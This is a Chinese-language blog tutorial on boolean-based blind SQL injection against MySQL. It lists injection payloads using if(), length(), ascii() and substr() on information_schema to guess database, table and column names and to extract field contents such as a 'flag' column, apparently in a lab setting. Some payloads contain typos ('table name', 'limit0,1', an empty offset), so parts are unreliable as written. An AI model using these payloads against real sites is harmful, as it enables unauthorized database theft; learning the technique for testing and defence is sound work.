当前位置：网站首页 > IT技术 > 正文

sql注入之布尔盲注

wptr33 2024-12-04 16:07 27 浏览

布尔盲注

在页面中不会显示数据库信息，一般情况下只会显示对与错的内容。

判断

条件判断函数
条件判断函数if是SQL时间盲注中的必用函数，可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示：

if([条件]，[值1]，[值2] )

当条件成立时，if函数返回值1，当条件不成立时，if函数返回值2.

布尔型盲注入用到的 SQL 语句 select if(1=1,1,0)。if()函数在 mysql 是判断，第一个参数表达式，如果条件成立，会显示 1，否则显示 0。1=1 表达式可以换成构造的 SQL 攻击语句

1' and if(1=1,1,0)# ( --+)
页面返回正常，这个语句实际上是 1' and 1，真 and 真，结果为真，1 是存在记录的。所以返回正确页面。

1' and if(1=2,1,0)--+
页面返回错误，这个语句就是 1' and 0，真 and 假，结果为假，整个 SQL 的值也是 0，所以没有记录，返回错误页面

猜数据库的长度;
?id=1 and (length(database()))>11#
猜测数据库的库名:

?id=1 and ascii(substr(database(),1,1))>1#
猜表名
?id=1and length((select table name from information schema.tables where table schema=data limit0,1))=3
?id=1and substr((select table name from information schema.tables where table schema='ka' limit0,1),1,1)='l'
猜第一个字段名第一个字符:
?id=1and substr((select column name from information schema.columns where table name='lf' limit0,1),1,1)='i'
猜第一个字段名第二个字符:
?id=1and substr((select column name from information schema.columns where table name='lf' limit0,1),2,1)='i'
猜第二个字段名:
?id=1and substr((select column name from information schema.columns where table name='lt' limit1,1),2,1)='i'
猜字段中的内容:

?id=1and (ascii(substr(( select flag from lf limit ,1),1,1)))=12

mysql boolean类型

上一篇：mysql和postgresql差异?gorm如何同时兼容?
下一篇：SQL SERVER干货(九)

sql注入之布尔盲注

相关推荐

程序员的开源月刊《HelloGitHub》第 71 期

如何将AI助手接入微信（打开ai手机助手）

SparkSQL——DataFrame的创建与使用

使用过 Redis 分布式锁么，它是什么回事?

VUE循环语句的使用(v-for)（vuefor循环的key）

HiveOs系统教程最细手把手教学（hiveos启动）

HIVE SQL基础语法（hive-sql）

《循环(for/while)》（循环while语句）

Spring Boot 概述（spring boot干嘛的）

西门子博途SCL高级语言之FOR循环（西门子博途for循环语句编程）